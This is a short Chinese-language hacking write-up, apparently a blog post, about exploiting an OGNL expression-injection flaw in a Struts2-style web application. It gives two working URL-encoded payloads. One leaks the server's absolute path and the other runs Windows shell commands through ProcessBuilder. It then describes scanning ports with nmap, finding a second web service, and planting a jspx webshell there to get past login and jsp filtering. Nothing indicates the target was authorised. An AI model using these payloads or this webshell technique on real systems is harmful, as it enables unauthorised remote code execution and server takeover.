发现了一个表达式注入

payload

%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


爆出绝对路径
尝试写shell
然而failed,访问其他页面都需要登录
想啊想,不能就这样放弃了呀
nmap扫一下,发现88端口还有一个web服务

巧的是
如果关闭了弹窗的话会被重定向到一个帮助文件,这个是不需要登录的
于是在89端口的表达式注入那里

%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cmd','/c','dir e:\*.jsp /s'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println('~'%2B'~~2')%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().println('2~'%2B'~~')%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D


找到了88端口的这个web服务的物理路径
写shell
直接jsp肯定是不行的,然而jspx

总的来说就是从A服务的命令执行写shell到B服务进行访问的故事
